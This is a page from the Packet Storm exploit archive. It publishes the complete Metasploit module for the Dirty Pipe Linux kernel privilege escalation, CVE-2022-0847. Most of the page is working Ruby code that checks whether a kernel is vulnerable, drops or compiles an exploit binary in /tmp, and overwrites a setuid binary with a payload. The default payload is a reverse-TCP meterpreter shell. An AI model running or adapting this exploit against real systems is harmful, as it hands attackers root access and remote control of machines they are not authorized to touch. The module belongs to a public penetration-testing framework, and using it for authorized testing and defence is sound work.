exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Dirty Pipe Local Privilege Escalation

Dirty Pipe Local Privilege Escalation
Posted Mar 10, 2022
Authored by timwr, Max Kellermann | Site metasploit.com

This Metasploit module exploits a vulnerability that has been in the Linux kernel since version 5.8. It allows writing of read only or immutable memory. The vulnerability was fixed in Linux 5.16.11, 5.15.25 and 5.10.102. The module exploits this vulnerability by overwriting a suid binary with the payload, executing it, and then writing the original data back. There are two major limitations of this exploit: the offset cannot be on a page boundary (it needs to write one byte before the offset to add a reference to this page to the pipe), and the write cannot cross a page boundary. This means the payload must be less than the page size (4096 bytes).

tags | exploit, kernel
systems | linux
advisories | CVE-2022-0847
SHA-256 | 95e39ce5f94de2996183947c580313fe0356df719e22343a89d095b460489c7a

Dirty Pipe Local Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::Kernel
include Msf::Post::Linux::System
include Msf::Post::Linux::Compile
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Dirty Pipe Local Privilege Escalation via CVE-2022-0847',
'Description' => %q{
This exploit targets a vulnerability in the Linux kernel since 5.8, that allows
writing of read only or immutable memory.

The vulnerability was fixed in Linux 5.16.11, 5.15.25 and 5.10.102.
The module exploits this vulnerability by overwriting a suid binary with the
payload, executing it, and then writing the original data back.

There are two major limitations of this exploit: the offset cannot be on a page
boundary (it needs to write one byte before the offset to add a reference to
this page to the pipe), and the write cannot cross a page boundary.
This means the payload must be less than the page size (4096 bytes).
},
'License' => MSF_LICENSE,
'Author' => [
'Max Kellermann', # Original vulnerability discovery
'timwr', # Metasploit Module
],
'DisclosureDate' => '2022-02-20',
'SessionTypes' => ['shell', 'meterpreter'],
'Platform' => [ 'linux' ],
'Arch' => [
ARCH_X64,
ARCH_X86,
ARCH_ARMLE,
ARCH_AARCH64,
],
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0,
'DefaultOptions' => {
'AppendExit' => true,
'PrependSetresuid' => true,
'PrependSetresgid' => true,
'PrependSetreuid' => true,
'PrependSetuid' => true,
'PrependFork' => true,
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
},
'Privileged' => true,
'References' => [
[ 'CVE', '2022-0847' ],
[ 'URL', 'https://dirtypipe.cm4all.com' ],
[ 'URL', 'https://haxx.in/files/dirtypipez.c' ],
],
'Notes' => {
'AKA' => [ 'Dirty Pipe' ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK ]
}
)
)
register_options([
OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ]),
OptString.new('SUID_BINARY_PATH', [ false, 'The path to a suid binary', '/bin/passwd' ])
])
end

def check
arch = kernel_arch
unless live_compile? || arch.include?('x64') || arch.include?('aarch64') || arch.include?('x86') || arch.include?('armle')
return CheckCode::Safe("System architecture #{arch} is not supported without live compilation")
end

kernel_version = Rex::Version.new kernel_release.split('-').first
if kernel_version < Rex::Version.new('5.8') ||
kernel_version >= Rex::Version.new('5.16.11') ||
(kernel_version >= Rex::Version.new('5.15.25') && kernel_version < Rex::Version.new('5.16')) ||
(kernel_version >= Rex::Version.new('5.10.102') && kernel_version < Rex::Version.new('5.11'))
return CheckCode::Safe("Linux kernel version #{kernel_version} is not vulnerable")
end

CheckCode::Appears("Linux kernel version found: #{kernel_version}")
end

def exp_dir
datastore['WRITABLE_DIR']
end

def exploit
suid_binary_path = datastore['SUID_BINARY_PATH']
fail_with(Failure::BadConfig, 'The suid binary was not found; try setting SUID_BINARY_PATH') if suid_binary_path.nil?
fail_with(Failure::BadConfig, "The #{suid_binary_path} binary setuid bit is not set") unless setuid?(suid_binary_path)

arch = kernel_arch
vprint_status("Detected architecture: #{arch}")
vprint_status("Detected payload arch: #{payload.arch.first}")
unless arch == payload.arch.first
fail_with(Failure::BadConfig, 'Payload/Host architecture mismatch. Please select the proper target architecture')
end

payload_data = generate_payload_exe[1..] # trim the first byte (0x74)
if payload_data.length > 4095
fail_with(Failure::BadConfig, "Payload size #{payload_data.length} is too large (> 4095)")
end

fail_with(Failure::BadConfig, "#{exp_dir} is not writable") unless writable?(exp_dir)
exploit_file = "#{exp_dir}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"

if live_compile?
vprint_status('Live compiling exploit on system...')
exploit_c = exploit_data('CVE-2022-0847', 'CVE-2022-0847.c')
exploit_c.sub!(/payload_bytes.*$/, "payload_bytes[#{payload_data.length}] = {#{Rex::Text.to_num(payload_data)}};")
upload_and_compile(exploit_file, exploit_c)
else
vprint_status('Dropping pre-compiled exploit on system...')
exploit_bin = exploit_data('CVE-2022-0847', "CVE-2022-0847-#{arch}")
payload_placeholder_index = exploit_bin.index('PAYLOAD_PLACEHOLDER')
exploit_bin[payload_placeholder_index, payload_data.length] = payload_data
upload_and_chmodx(exploit_file, exploit_bin)
end

register_file_for_cleanup(exploit_file)
overwrite_file_path = datastore['SUID_BINARY_PATH']

cmd = "#{exploit_file} #{overwrite_file_path}"
print_status("Executing exploit '#{cmd}'")
result = cmd_exec(cmd)
vprint_status("Exploit result:\n#{result}")
end
end
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close